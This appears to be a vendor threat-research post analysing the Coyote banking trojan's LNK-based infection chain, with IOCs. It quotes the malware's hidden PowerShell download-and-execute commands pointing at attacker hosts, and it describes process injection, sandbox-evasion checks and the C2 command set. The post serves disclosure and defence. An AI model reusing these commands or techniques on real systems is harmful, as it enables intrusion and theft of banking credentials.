Coyote Banking Trojan: A Stealthy Attack via LNK Files

fortinet.com/blog/threat-research/coyote-banking-trojan-a-stealthy-attack-via-lnk-files

January 30, 2025

Article Contents

By Cara Lin | January 30, 2025
Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: Controls victim's device and collects sensitive information
Severity Level: High

Over the past month, FortiGuard Labs has identified several similar LNK files containing PowerShell commands designed to execute malicious scripts and connect to remote servers. These files are part of multi-stage operations that ultimately deliver the Coyote Banking Trojan. This malware primarily targets users in Brazil, seeking to harvest sensitive information from over 70 financial applications and numerous websites. Once deployed, the Coyote Banking Trojan can carry out various malicious activities, including keylogging, capturing screenshots, and displaying phishing overlays to steal sensitive credentials. In this article, we will detail the behavior of each stage.

Figure 1: Telemetry

[2025 Global Threat Landscape Report]

[Use this report to understand the latest attacker tactics, assess your exposure, and prioritize action before the next exploit hits your environment.]

LNK File

The LNK file executes the following PowerShell command, which connects to a remote server to initiate the next stage: -w hid -noni -ep Bypass -c “Start-Job -Name PSSGR -ScriptBlock { IEX (iwr -Uri ‘hxxps://tbet[.]geontrigame[.]com/zxchzzmism’ -UseBasicParsing).Content }; Start-Sleep 131.”

Figure 2: LNK file
We analyzed multiple malicious files by examining the “Machine ID” embedded within the LNK files. This unique identifier provides critical insights into the system where the LNK file originated. By extracting and analyzing this metadata, we traced connections to other malicious LNK files associated with Coyote.

URLs in Arguments	Machine ID	MAC Address
hxxps://tbet.geontrigame[.]com/zxchzzmism	0cb44b707681	aa:1c:b2:83:1d:72
hxxps://hrod.geontrigame[.]com/edsfluzevj	a8025a01fc56	f5:12:59:16:ba:f7
hxxps://easi.geontrigame[.]com/wydqfchssb	a8025a01fc56	f5:12:59:16:ba:f7
hxxps://iivi.geontrigame[.]com/zkrghotqvy	a8025a01fc56	f5:12:59:16:ba:f7

hxxps://cuzo.geontrigame[.]com/pxylqhpuiv	a8025a01fc56	f5:12:59:16:ba:f7
hxxps://btee.geontrigame[.]com/mvkrouhawm	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://qmnw.daowsistem[.]com/fayikyeund	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://bhju.daowsistem[.]com/iwywybzqxk	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://lgfd.daowsistem[.]com/riqojhyvnr	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://leme.daowsistem[.]com/omzowcicwp	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://igow.scortma[.]com/fqieghffbm	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://quit.scortma[.]com/xzcpnnfhxi	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://llue.geontrigame[.]com/byyyfydxyf	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://cxmp.scortma[.]com/qfutdbtqqu	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://xrxw.scortma[.]com/gmdroacyvi	dc0bfa46899d	e8:a5:d6:6a:57:02
hxxps://qfab.geontrigame[.]com/vfofnzihsm	dc0bfa46899d	e8:a5:d6:6a:57:02

The content in “zxchzzmism” is an additional PowerShell script that holds two encoded data segments. This script employs specific commands to decode and execute the embedded shellcode, initiating the next phase of the malicious operation.

Figure 3: PowerShell script

Loader and Shellcode

The “bmwiMcDec” DLL file functions as a loader, utilizing VirtualAllocEx and WriteProcessMemory to inject the “npuGDec” payload. It then employs CreateRemoteThread to execute the injected malicious code, facilitating the continuation of the attack.

Figure 4: MSIL loader
The injected code leverages Donut, a tool designed to decrypt and execute the final MSIL (Microsoft Intermediate Language) payloads. This ensures seamless delivery and execution of the attack’s next stage.

Figure 5: Decrypt and get the MSIL file
The decrypted MSIL execution file first establishes persistence by modifying the registry at “HCKU\Software\Microsoft\Windows\CurrentVersion\Run.” It checks for any existing PowerShell command in this registry entry. If found, it removes the existing entry and creates a new one with a randomly generated name. This new registry entry contains a customized PowerShell command pointing to download and execute a Base64-encoded URL, which facilitates the main functions of the Coyote Banking Trojan. The targeted URL for this operation is “hxxps://yezh[.]geontrigame[.]com/vxewhcacbfqnsw.”

Figure 6: Registry's setting
If the victim is the new target, it gathers basic system information, such as the machine name, username, and operating system, and sends it to a remote server. It also identifies installed antivirus products by querying the SecurityCenter2 namespace in Windows Management Instrumentation (WMI). The collected data is then concatenated with a “|” separator, encoded in Base64, and the resulting string is reversed. This processed string is appended as a parameter and sent back to the remote server as follows: “hxxps://yezh[.]geontrigame[.]com/hqizjs/?l=y4CMuADfvJHUgATMgM3dvRmbpdFI0Z2bz9mcjlWT8JXZk5WZmVGRgM3dvRmbpdFfzlmcoNEf0IDR0Ul(omit).”

Figure 7: Send system's information
After setting and checking in, it calls “CreateProcess” to execute the PowerShell command that was added into the registry to invoke the payload:

```
powershell -w hid -noni -ep Bypass -c “$w=New-Object Net.WebClient;$u=
[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly95ZXpoLmdlb250cmlnYW1lLmNvbS92eGV3aGNhY2JmcW5zdw==
$w.DownloadString($u).”
```

Coyote Banking Trojan

The payload “vxewhcacbfqnsw” is similar to the one downloaded from the LNK file but is noticeably larger. This increase in size is due to the inclusion of the main Coyote Baking Trojan.

Figure 8: PowerShell script
We obtained the MSIL file after decrypting the payload from the Donut shellcode. It contained the following functions:

- Username Checking: It examines the username to see if any of the following test/sandbox names are present: Johnson, Miller, malware, maltest, CurrentUser, Sandbox, virus, John Doe, test user, sand box, WDAGUtilityAccount, Bruno, George, and Harry Johnson.
- Virtual Management Tool Checking: It examines whether the environment contains files or folders related to virtual machines. It checks for strings in the directory “C:\Windows\System32” such as qemu-ga, qemuwmi, balloon.sys, netkvm.sys, vioinput, viofs.sys, and vioser.sys.
- Build Targeting List: In this version, Coyote expands its target list to include 1,030 sites and 73 financial agents, including mercadobitcoin.com.br, bitcointrade.com.br, foxbit.com.br, augustoshotel.com.br, blumenhotelboutique.com.br, and fallshotel.com.br. It then starts monitoring the active window.

Figure 9: Build a target list

Figure 10: Connect to server

Communicate with C2: Coyote continuously monitors the active window to detect if the victim attempts to access any target sites. If a target site is accessed, it contacts the C2 server via port 443. The server list includes geraatualiza[.]com, masterdow[.]com, and geraupdate[.]com. Coyote reads a message from a remote server, processes it by decoding and cleaning the data, and prepares it for further actions based on the length of the first string in the message.

Length	Description
10	Disconnect from server
11	Terminate program
12	Take screenshot as image/jpeg
13	Get a window's title bar text
14	Activate a window and restore it to its original size
15	Minimize a window
16	Activate a window and restore it to its normal size then display it as a maximized window
17	Kill targeted process
18	Show full-screen overlay
19	Restore a window and then maximize it
20	Remove the window handle
21	Shut down the device
22	Enable the Desktop Window Manager composition feature then shut down the device
23	Click mouse at a specific screen position
24	Copy a string to the clipboard and then simulate typing that string
25	Send the specified keys to the active application. If a key contains a '+,' it is sent as an uppercase character; otherwise, it is sent as a lowercase character.
26	Disable DWM composition
27	Display the fake image for a specific target with a message. For example: "Trabalhando nas atualiza" (Working on updates), "Aponte a câmera para a imagem a seguir" (Point the camera at the following image)
28	Cleanup, unhook, and stop current monitoring
29	Control user-visible windows, close the window
30	Adjust the opacity
31	Enable keylogger or send the keylogger's result with separator '¾'
32	N/A
33	Simulate key presses to perform automated navigation actions: {UP}, {RIGHT}, {DOWN}, and {LEFT}
34	Manipulate display settings
35	Send the given keys

Conclusion

Coyote's infection process is complex and multi-staged. This attack leveraged an LNK file for initial access, which subsequently led to the discovery of other malicious files. This Trojan poses a significant threat to financial cybersecurity, particularly because it has the potential to expand beyond its initial targets. Consequently, it highlights the critical need for robust security measures for both individuals and institutions to safeguard against evolving cyber threats.

Figure 11: Attack chain

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus as:

LNK/Agent.D!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.

The FortiGuard Web Filtering Service blocks the C2 server.

We also suggest that organizations go through Fortinet's free cybersecurity training module: Fortinet Certified Fundamentals (FCF) in Cybersecurity. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

URLs

hxxps://btee[.]geontrigame[.]com/mvkrouhawm
jxxps://qmnw[.]daowsistem[.]com/fayikyeund
hxxps://bhju[.]daowsistem[.]com/iwywybzqxk
hxxps://lgfd[.]daowsistem[.]com/riqojhyvnr
hxxps://leme[.]daowsistem[.]com/omzowcicwp
hxxps://igow[.]scortma[.]com/fqieghffbm
hxxps://quit[.]scortma[.]com/xzcpnnfhxi
hxxps://llue[.]geontrigame[.]com/byyyfydxyf
hxxps://cxmp[.]scortma[.]com/qfutdbtqqu
hxxps://xrxw[.]scortma[.]com/gmdroacyvi
hxxps://qfab[.]geontrigame[.]com/vfofnzihsm
hxxps://tbet[.]geontrigame[.]com/zxchzzmism
hxxps://yezh[.]geontrigame[.]com/vxewhcacbfqnsw

Hosts

geraatualiza[.]com
masterdow[.]com
geraupdate[.]com

Files

362af8118f437f9139556c59437544ae1489376dc4118027c24c8d5ce4d84e48
330dffe834ebbe4042747bbe00b4575629ba8f2507bccf746763cacf63d655bb
33cba89eeeaf139a798b7fa07ff6919dd0c4c6cf4106b659e4e56f15b5809287
552d53f473096c55a3937c8512a06863133a97c3478ad6b1535e1976d1e0d45f
64209e2348e6d503ee518459d0487d636639fa5e5298d28093a5ad41390ef6b0
67f371a683b2be4c8002f89492cd29d96dceabdbfd36641a27be761ee64605b1
73ad6be67691b65cee251d098f2541eef3cab2853ad509dac72d8eff5bd85bc0
7cbfbce482071c6df823f09d83c6868d0b1208e8ceb70147b64c52bb8b48bdb8
839de445f714a32f36670b590eba7fc68b1115b885ac8d689d7b344189521012
bea4f753707eba4088e8a51818d9de8e9ad0138495338402f05c5c7a800695a6
f3c37b1de5983b30b9ae70c525f97727a56d3874533db1a6e3dc1355bfbf37ec
fd0ef425d34b56d0bc08bd93e6ecb11541bd834b9d4d417187373b17055c862e